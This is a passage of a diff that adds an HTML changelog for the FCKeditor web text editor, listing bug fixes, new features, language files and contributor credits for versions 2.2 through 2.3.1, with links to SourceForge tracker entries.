+                       BUG-1557709</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1421810&group_id=75348&atid=543653">SF
+                               BUG-1421810</a>] The link dialog now validates Popup Window names.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1556878&group_id=75348&atid=543653">SF
+                       BUG-1556878</a>] Firefox was creating empty tags when deleting the selection in
+                       some special cases.</li>
+               <li>The context menu for links is now correctly shown when right-clicking on floating
+                       divs.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1084404&group_id=75348&atid=543653">SF
+                       BUG-1084404</a>] The XHTML processor now ignores empty span tags.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1221728&group_id=75348&atid=543653">SF
+                       BUG-1221728</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1174503&group_id=75348&atid=543653">SF
+                               BUG-1174503</a>] The &lt;abbr&gt; tag is not anymore getting broken by IE.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1182906&group_id=75348&atid=543653">SF
+                       BUG-1182906</a>] IE is not anymore messing up mailto links.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1386094&group_id=75348&atid=543653">SF
+                       BUG-1386094</a>] Fixed an issue when setting configuration options to empty ('')
+                       by code.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1389435&group_id=75348&atid=543653">SF
+                       BUG-1389435</a>] Fixed an issue in some dialog boxes when handling numeric inputs.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1398829&group_id=75348&atid=543653">SF
+                       BUG-1398829</a>] Some links may got broken on very specific cases. Fixed.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1409969&group_id=75348&atid=543653">SF
+                       BUG-1409969</a>] &lt;noscript&gt; tags now remain untouched by the editor.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1433457&group_id=75348&atid=543653">SF
+                       BUG-1433457</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1513631&group_id=75348&atid=543653">SF
+                               BUG-1513631</a>] Empty "href" attributes in &lt;a&gt; or empty "src" in &lt;img&gt;
+                       will now be correctly preserved.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1435195&group_id=75348&atid=543653">SF
+                       BUG-1435195</a>] Scrollbars are now visible in the File Browser (for custom implementations).</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1438296&group_id=75348&atid=543653">SF
+                       BUG-1438296</a>] The "ForceSimpleAmpersand" setting is now being honored in all
+                       tags.</li>
+               <li>If a popup blocker blocks context menu operations, the correct alert message is
+                       displayed now, instead of a ugly JavaScript error.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1454116&group_id=75348&atid=543653">SF
+                       BUG-1454116</a>] The GetXHTML() function will not change the IsDirty() value of
+                       the editor.</li>
+               <li>The spell check may not work correctly when using SpellerPages with ColdFusion.
+                       Fixed.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1481861&group_id=75348&atid=543653">SF
+                       BUG-1481861</a>] HTML comments are now removed by the Word Cleanup System.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1489390&group_id=75348&atid=543653">SF
+                       BUG-1489390</a>] A few missing hard coded combo options used in some dialogs are
+                       now localizable.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1505448&group_id=75348&atid=543653">SF
+                       BUG-1505448</a>] The Form dialog now retrieves the value of the "action" attribute
+                       exactly as defined in the source.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1517322&group_id=75348&atid=543655">SF
+                       Patch-1517322</a>] Solved an issue when the toolbar has buttons with simple icons
+                       (usually used by plugins) mixed with icons coming from a strip (the default toolbar
+                       buttons).</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1575261&group_id=75348&atid=543655">SF
+                       Patch-1575261</a>] Some fields in the Table and Cell Properties dialogs were being
+                       cut. Fixed.</li>
+               <li>Fixed a startup compatibility issue with Firefox 1.0.4.</li>
+       </ul>
+       <h3>
+               Version 2.3.1</h3>
+       <p>
+               Fixed Bugs:</p>
+       <ul>
+               <li>[<a target="_blank" href="https://sourceforge.net/support/tracker.php?aid=1506126">SF
+                       BUG-1506126</a>] Fixed the Catalan language file, which had been published with
+                       problems in accented letters. </li>
+               <li>More performance improvements in the default File Browser.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1506701&group_id=75348&atid=543653">SF
+                       BUG-1506701</a>] Fixed compatibility issues with IE 5.5.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1509073&group_id=75348&atid=543653">SF
+                       BUG-1509073</a>] Fixed the "Image Properties" dialog window, which was making invalid
+                       calls to the "editor/dialog/" directory, generating error 400 entries in the web
+                       server log.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1507294&group_id=75348&atid=543653">SF
+                       BUG-1507294</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1507953&group_id=75348&atid=543653">SF
+                               BUG-1507953</a>] The editing area was getting a fixed size when using the "SetHTML"
+                       API command or even when switching back from the source view. Fixed.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1507755&group_id=75348">SF
+                       BUG-1507755</a>] Fixed a conflict between the "DisableObjectResizing" and "ShowBorders"
+                       configuration options over IE.</li>
+               <li>Opera 9 tries to "mimic" Gecko in the browser detection system of FCKeditor. As
+                       this browser is not "yet" supported, the editor was broken on it. It has been fixed,
+                       and now a textarea is displayed, as in any other unsupported browser. Support for
+                       Opera is still experimental and can be activated by setting the property "EnableOpera"
+                       to true when creating an instance of the editor with the JavaScript integration
+                       files.</li>
+               <li>With Opera 9, the toolbar was jumping on buttons rollover. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1509479&group_id=75348&atid=543656">SF
+                       BUG-1509479</a>] The iframes used in Firefox for all editor panels (dropdown combos,
+                       context menu, etc...) are now being placed right before the main iframe that holds
+                       the editor. In this way, if the editor container element is removed from the DOM
+                       (by DHTML) they are removed together with it.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1271070&group_id=75348&atid=543653">SF
+                       BUG-1271070</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1411430&group_id=75348&atid=543653">SF
+                               BUG-1411430</a>] The editor API now works well on DHTML pages that create and
+                       remove instances of FCKeditor dynamically. </li>
+               <li>A second call to a page with the editor was not working correctly with Firefox 1.0.x.
+                       Fixed.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1511460&group_id=75348&atid=543653">SF
+                       BUG-1511460</a>] Small correction to the &lt;script&gt; protected source regex.
+                       Thanks to Randall Severy.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1521754&group_id=75348">SF
+                       BUG-1521754</a>] Small fix to the paths of the internal CSS files used by FCKeditor.
+                       Thanks to johnw_ceb.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1511442&group_id=75348&atid=543653">SF
+                       BUG-1511442</a>] The &lt;base&gt; tag is now correctly handled in IE, no matter
+                       its position in the source code.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1507773&group_id=75348&atid=543653">SF
+                       BUG-1507773</a>] The "Lock" and "Reset" buttons in the Image Properties dialog window
+                       are not anymore jumping with Firefox 1.5.</li>
+       </ul>
+       <h3>
+               Version 2.3</h3>
+       <p>
+               New Features and Improvements:</p>
+       <ul>
+               <li>The <strong>Toolbar Sharing</strong> system has been completed. See sample10.html
+                       and sample11.html.*</li><li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1407500&group_id=75348&atid=543655">SF
+                               Patch-1407500</a>] Small enhancement to the Find and Replace dialog windows.</li>
+       </ul>
+       <p>
+               Fixed Bugs:</p>
+       <ul>
+               <li>Small security fixes.</li>
+               <li>The context menu system has been optimized. Nested menus now open "onmouseover".
+               </li>
+               <li>An error in the image preloader system was making the toolbar strip being downloaded
+                       once for each button on slow connections. Some enhancements have also been made
+                       so now the smaple05.html is loading fast for all skins.</li><li>Fixed many memory leak
+                               issues with IE.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1489768&group_id=75348&atid=543653">SF
+                       BUG-1489768</a>] The panels (context menus, toolbar combos and color selectors),
+                       where being displayed in the wrong position if the contents of the editor, or its
+                       containing window were scrolled down. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1493176&group_id=75348">SF
+                       BUG-1493176</a>] Using ASP, the connector was not working on servers with buffer
+                       disable by default.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1491784&group_id=75348&atid=543653">SF
+                       BUG-1491784</a>] Language files have been updated to not include html entities.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1490259&group_id=75348&atid=543653">SF
+                       BUG-1490259</a>] No more security warning on IE over HTTPS.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1493173&group_id=75348&atid=543653">SF
+                       BUG-1493173</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1499708&group_id=75348">SF
+                               BUG-1499708</a>] We now assume that, if a user is in source editing, he/she
+                       wants to control the HTML, so the editor doesn't make changes to it when posting
+                       the form being in source view or when calling the GetXHTML function in the API.
+               </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1490610&group_id=75348&atid=543653">SF
+                       BUG-1490610</a>] The FitWindow is now working on elements set with relative position.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1493438&group_id=75348&atid=543653">SF
+                       BUG-1493438</a>] The "Word Wrap" combo in the cell properties dialog now accepts
+                       only Yes/No (no more &lt;Not Set&gt; value).</li>
+               <li>The context menu is now being hidden when a nested menu option is selected.</li>
+               <li>Table cell context menu operations are now working correctly.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1494549&group_id=75348&atid=543653">SF
+                       BUG-1494549</a>] The code formatter was having problems with dollar signs inside
+                       &lt;pre&gt; tags.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1459740&group_id=75348&atid=543655">SF
+                       Patch-1459740</a>] The "src" element of images can now be set by styles definitions.
+                       Thanks to joelwreed.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1437052&group_id=75348&atid=543655">SF
+                       Patch-1437052</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1436166&group_id=75348&atid=543655">SF
+                               Patch-1436166</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1352385&group_id=75348&atid=543655">SF
+                                       Patch-1352385</a>] Small fix to the FCK.InsertHtml, FCKTools.AppendStyleSheet
+                       and FCKSelection.SelectNode functions over IE. Thanks to Alfonso Martinez.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1349765&group_id=75348&atid=543655">SF
+                       Patch-1349765</a>] Small fix to the FCKSelection.GetType over Firefox. Thanks to
+                       Alfonso Martinez.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543655&aid=1495422&group_id=75348">SF
+                       Patch-1495422</a>] The editor now creates link based on the URL when no selection
+                       is available. Thanks to Dominik Pesch.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543655&aid=1478859&group_id=75348">SF
+                       Patch-1478859</a>] On some circumstances, the Yahoo popup blocker was blocking the
+                       File Browser window, giving no feedback to the user. Now an alert message is displayed.</li>
+               <li>When using the editor in a RTL localized interface, like Arabic, the toolbar combos
+                       were not showing completely in the first click. Fixed.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1500212&group_id=75348">SF
+                       BUG-1500212</a>] All "_samples/html" samples are now working when loading directly
+                       from the Windows Explorer. Thanks to Alfonso Martinez.</li>
+               <li>The "FitWindow" feature was breaking the editor under Firefox 1.0.x.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1500032&group_id=75348&atid=543655">SF
+                       Patch-1500032</a>] In Firefox, the caret position now follows the user clicks when
+                       clicking in the white area bellow the editor contents. Thanks to Alfonso Martinez.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1499522&group_id=75348">SF
+                       BUG-1499522</a>] In Firefox, the link dialog window was loosing the focus (and quickly
+                       reacquiring it) when opening. This behavior was blocking the dialog in some Linux
+                       installations. </li>
+               <li>Drastically improved the loading performance of the file list in the default File
+                       Browser.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1503059&group_id=75348">SF
+                       BUG-1503059</a>] The default "BasePath" for FCKeditor in all integration files has
+                       been now unified to "/fckeditor/" (lower-case). This is the usual casing system
+                       in case sensitive OSs like Linux.</li>
+               <li>The "DisableFFTableHandles" setting is now honored when switching the full screen
+                       mode with FitWindow.</li>
+               <li>Some fixes has been applied to the cell merging in Firefox.</li>
+       </ul>
+       <p>
+               * This version has been partially sponsored by <a href="http://www.footsteps.nl/">Footsteps</a>
+               and <a href="http://www.kentico.com/">Kentico</a>.</p>
+       <h3>
+               Version 2.3 Beta</h3>
+       <p>
+               New Features and Improvements:</p>
+       <ul>
+               <li><span><strong>Extremely Fast Loading!</strong> The editor now loads more than 3
+                       times faster than before, with no impact on its advanced features.</span> </li>
+               <li><span><strong>New toolbar system</strong>:</span>
+                       <ul>
+                               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1454850&amp;group_id=75348&amp;atid=543656">SF
+                                       Feature-1454850</a>] The toolbar will now <strong>load much faster</strong>. All
+                                       images have being merged in a single image file using a unique system available
+                                       only with FCKeditor. </li>
+                               <li>The &quot;Text Color&quot; and &quot;Background Color&quot; commands buttons have
+                                       enhancements on the interface.</li>
+                               <li><strong><span style="color: #ff0000">Attention</span></strong>: As a completely
+                                       new system has being developed. Skins created for versions prior this one will not
+                                       work. Skin styles definitions have being merged, added and removed. All skins have
+                                       been a little bit reviewed. </li>
+                               <li>It is possible to <strong>detach the toolbar</strong> from an editor instance and
+                                       share it with other instances. In this way you may have only one toolbar (in the
+                                       top of the window, for example, that can be used by many editors (see <a href="_samples/html/sample10.html">
+                                               sample10.html</a>). This feature is still under development (issues with IE
+                                       focus still to be solved).* </li>
+                       </ul>
+               </li>
+               <li><strong><span>New context menu system</span></strong>:
+                       <ul>
+                               <li>It uses the same (fast) loading system as the toolbar. </li>
+                               <li>Sub-Menus are now available to group features (try the context menu over a table
+                                       cell). </li>
+                               <li>It is now possible to create your own context menu entries by creating plugins.
+                               </li>
+                       </ul>
+               </li>
+               <li><strong>New "FitWindow" toolbar button</strong>, based on the <a href="https://sourceforge.net/tracker/index.php?func=detail&aid=1431638&group_id=75348&atid=737639">
+                       plugin</a> published by Paul Moers. Thanks Paul!</li>
+               <li><strong>&quot;Auto Grow&quot; Plugin</strong>: automatically resizes the editor
+                       until a maximum height, based on its contents size.** </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1444943&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-1444943</a>] <strong>Multiple CSS files</strong> can now be used in the
+                       editing area. Just define FCKConfig.EditorAreaCSS as an array of strings (each one
+                       is a path to a different css file). It works also as a simple string, as on prior
+                       versions. </li>
+               <li>New language files:<ul>
+                       <li><strong>Bengali / Bangla</strong> (by Richard Walledge).</li>
+                       <li><strong>English (Canadian)</strong> (by Kevin Bennett). </li>
+                       <li><strong>Khmer</strong> (by Sengtha Chay).</li>
+               </ul>
+               </li>
+               <li>The source view is now available in the editing area on Gecko browsers. Previously
+                       a popup was used for it (due to a Firefox bug). </li>
+               <li><span>As some people may prefer the popup way for source editing, a new configuration
+                       option (SourcePopup) has being introduced.</span> </li>
+               <li>The IEForceVScroll configuration option has been removed. The editor now automatically
+                       shows the vertical scrollbar when needed (for XHTML doctypes). </li>
+               <li>The configuration file doesn't define a default DOCTYPE to be used now. </li>
+               <li>It is now possible to easily change the toolbar using the JavaScript API by just
+                       calling &lt;EditorInstance&gt;.ToolbarSet.Load( '&lt;ToolbarName&gt;' ). See _testcases/010.html
+                       for a sample. </li>
+               <li>The &quot;OnBlur&quot; and &quot;OnFocus&quot; JavaScript API events are now compatible
+                       with all supported browsers. </li>
+               <li>Some few updates in the Lasso connector and uploader. </li>
+               <li>The GeckoUseSPAN setting is now set to "false" by default. In this way, the code
+                       produced by the bold, italic and underline commands are the same on all browsers.</li>
+       </ul>
+       <p>
+               Fixed Bugs:</p>
+       <ul>
+               <li><strong>Important security fixes have been applied to the File Manager, Uploader
+                       and Connectors. Upgrade is highly recommended.</strong> Thanks to Alberto Moro,
+                       Baudouin Lamourere and James Bercegay.</li><li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1399966&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1399966</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1249853&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1249853</a>] The &quot;BaseHref&quot; configuration is now working with
+                               Firefox in both normal and full page modes.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1405263&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1405263</a>] A typo in the configuration file was impacting the Quick Upload
+                       feature. </li>
+               <li>Nested &lt;ul&gt; and &lt;ol&gt; tags are now generating valid html.</li>
+               <li>The &quot;wmode&quot; and &quot;quality&quot; attributes are now preserved for Flash
+                       embed tags, in case they are entered manually in the source view. Also, empty attributes
+                       are removed from that tag. </li>
+               <li>Tables where not being created correctly on Opera. </li>
+               <li>The XHTML processor will ignore invalid tags with names ending with &quot;:&quot;,
+                       like http:. </li>
+               <li><span>On Firefox, the scrollbar is not anymore displayed on toolbar dropdown commands
+                       when not needed.</span> </li>
+               <li><span>Some small fixes have being done to the dropdown commands rendering for FF</span>.
+               </li>
+               <li>The table dialog window has been a little bit enlarged to avoid contents being cropped
+                       on some languages, like Russian. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1465203&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1465203</a>] The ieSpell download URL has been updated. The problem is that
+                       they don't have a fixed URL for it, so let's hope the mirror will be up for it.
+               </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1456332&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1456332</a>] Small fix in the Spanish language file. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1457078&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1457078</a>] The File Manager was generating 404 calls in the server. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1459846&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1459846</a>] Fixed a problem with the config file if PHP is set to parse .js
+                       files. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1432120&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1432120</a>] The &quot;UserFilesAbsolutePath&quot; setting is not correctly
+                       used in the PHP uploader. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1432120&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1408869</a>] The collapse handler is now rendering correctly in Firefox 1.5.
+               </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1410082&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1410082</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1424240&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1424240</a>] The &quot;moz-bindings.xml&quot; file is now well formed. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1413980&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1413980</a>] All frameborder &quot;yes/no&quot; values have been changes to
+                       &quot;1/0&quot;. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1414101&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1414101</a>] The fake table borders are now showing correctly when running under
+                       the &quot;file://&quot; protocol. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1414155&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1414155</a>] Small typo in the cell properties dialog window.</li>
+               <li>Fixed a problem in the File Manager. It was not working well with folder or file
+                       names with apostrophes ('). Thanks to René de Jong.</li>
+               <li>Small "lenght" type corrected in the select dialog window. Thanks to Bernd Nussbaumer.</li>
+               <li>The about box is now showing correctly in Firefox 1.5.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1464020&group_id=75348&atid=543655">SF
+                       Patch-1464020</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1155793&group_id=75348&atid=543653">SF
+                               BUG-1155793</a>] The "Unlink" command is now working correctly under Firefox
+                       if you don't have a complete link selection. Thanks to Johnny Egeland.</li>
+               <li>In the File Manager, it was not possible to upload files to folders with ampersands
+                       in the name. Thanks to Mike Pone.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&aid=1178359&group_id=75348&atid=543653">SF
+                       BUG-1178359</a>] Elements from the toolbar are not anymore draggable in the editing
+                       area.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1487544&group_id=75348&atid=543653">SF
+                       BUG-1487544</a>] Fixed a small issue in the code formatter for &lt;br /&gt; and
+                       &lt;hr /&gt; tags.</li>
+               <li>The "Background Color" command now works correctly when the GeckoUseSPAN setting
+                       is disabled (default).</li>
+               <li>Links are now rendered in blue with Firefox (they were black before). Actually,
+                       an entry for it has been added to the editing area CSS, so you can customize with
+                       the color you prefer. </li>
+       </ul>
+       <p>
+               * This version has been partially sponsored by <a href="http://www.footsteps.nl/">Footsteps</a>
+               and <a href="http://www.kentico.com/">Kentico</a>.
+               <br />
+               ** This version has been partially sponsored by <a href="http://www.nextide.ca/">Nextide</a>.</p>
+       <h3>
+               Version 2.2</h3>
+       <p>
+               New Features and Improvements:</p>
+       <ul>
+               <li>Let's welcome Wim Lemmens (didgiman). He's our new responsible for the ColdFusion
+                       integration. In this version we are introducing his new files with the following
+                       changes:
+                       <ul>
+                               <li>The &quot;<strong>Uploader</strong>&quot;, used for quick uploads,&nbsp;is now available
+                                       <strong>natively for ColdFusion</strong>. </li>
+                               <li>Small bugs have been corrected in the <strong>File Browser connector</strong>. </li>
+                               <li>The samples now work as is, even if you don't install the editor in the &quot;/FCKeditor&quot;
+                                       directory.</li>
+                       </ul>
+               </li>
+               <li>And a big welcome also to &quot;Andrew Liu&quot;, our responsible for the <strong>
+                       Python</strong> integration. This version is bringing <strong>native support for Python</strong>
+                       , including the File Browser connector and Quick Upload. </li>
+               <li>The &quot;<strong>IsDirty()</strong>&quot; and &quot;<strong>ResetIsDirty()</strong>&quot;
+                       functions have been&nbsp;added to the&nbsp;JavaScript API&nbsp;to check if the editor
+                       content has been changed.* </li>
+               <li>New language files:
+                       <ul>
+                               <li><strong>Hindi</strong> (by Utkarshraj Atmaram) </li>
+                               <li><strong>Latvian </strong>(by Janis Klavin&scaron;)</li>
+                       </ul>
+               </li>
+               <li>For&nbsp;the interface, now we have complete <strong>RTL support</strong> also for
+                       the drop-down toolbar commands, color selectors and context menu. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1325113&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1325113</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1277661&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1277661</a>] The new &quot;Delete Table&quot; command is available in the
+                       Context Menu when right-clicking inside a table. </li>
+               <li>The &quot;FCKConfig.DisableTableHandles&quot; configuration option is now working
+                       on Firefox 1.5. </li>
+               <li>The new &quot;<strong>OnBlur</strong>&quot; and &quot;<strong>OnFocus</strong>&quot;
+                       events have been added to the JavaScript API (IE only). See&nbsp;&quot;_samples/html/sample09.html&quot;&nbsp;*
+               </li>
+               <li><strong><font color="#ff0000">Attention</font></strong>: The &quot;<strong>GetHTML</strong>&quot;
+                       function has been deprecated. It now returns the same value as &quot;<strong>GetXHTML</strong>&quot;.
+                       The same is valid for the &quot;EnableXHTML&quot; and &quot;EnableSourceXHTML&quot;
+                       that have no effects now. The editor now works with XHTML output only. </li>
+               <li><strong><font color="#ff0000">Attention</font></strong>: A new &quot;<strong>PreserveSessionOnFileBrowser</strong>&quot;
+                       configuration option has been introduced. It makes it possible to set whenever is
+                       needed to maintain the user session in the File Browser. It is disabled by default,
+                       as it has very specific usage and may cause the File Browser to be blocked by popup
+                       blockers. If you have custom File Browsers that depends on session information,
+                       remember to activate it. </li>
+               <li><strong><font color="#ff0000">Attention</font></strong>: The &quot;<strong>fun</strong>&quot;
+                       smileys set has been removed from the package. If you are using it, you must manually
+                       copy it to newer installations and upgrades. </li>
+               <li><strong><font color="#ff0000">Attention</font></strong>: The &quot;<strong>mcpuk</strong>&quot;
+                       file browser has been removed from the package. We have no ways to support it. There
+                       were also some licensing issues with it. Its web site can still be found at <a href="http://mcpuk.net/fbxp/">
+                               http://mcpuk.net/fbxp/</a>. </li>
+               <li>It is now possible to set different CSS styles for the chars in the Special Chars
+                       dialog window by adding the &quot;SpecialCharsOut&quot; and &quot;SpecialCharsOver&quot;
+                       in the &quot;fck_dialog.css&quot; skin file.* </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1268726&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1268726</a>] Added table &quot;summary&quot; support in the table dialog.
+                       Thanks to Sebastien-Mahe. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1284380&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1284380</a>] It is now possible to define the icon of a FCKToolbarPanelButton
+                       object without being tied to the skin path (just like FCKToolbarButton). Thanks
+                       to Ian Sullivan. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1338610&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1338610</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1263009&amp;group_id=75348&amp;atid=543656">SF
+                               Patch-1263009</a>] New characters have been added to the &quot;Special Characters&quot;
+                       dialog window. Thanks to Deian. </li>
+               <li>You can set the QueryString value &quot;fckdebug=true&quot; to activate &quot;debug
+                       mode&quot; in the editor (showing the debug window), overriding the configurations.
+                       The &quot;AllowQueryStringDebug&quot; configuration option is also available so
+                       you can disable this feature.</li>
+       </ul>
+       <p>
+               Fixed Bugs:</p>
+       <ul>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1363548&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1363548</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1364425&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1364425</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1335045&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1335045</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1289661&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1289661</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1225370&amp;group_id=75348&amp;atid=543653">SF
+                                                       BUG-1225370</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1156291&amp;group_id=75348&amp;atid=543653">SF
+                                                               BUG-1156291</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1165914&amp;group_id=75348&amp;atid=543653">SF
+                                                                       BUG-1165914</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1111877&amp;group_id=75348&amp;atid=543653">SF
+                                                                               BUG-1111877</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1092373&amp;group_id=75348&amp;atid=543653">SF
+                                                                                       BUG-1092373</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1101596&amp;group_id=75348&amp;atid=543653">SF
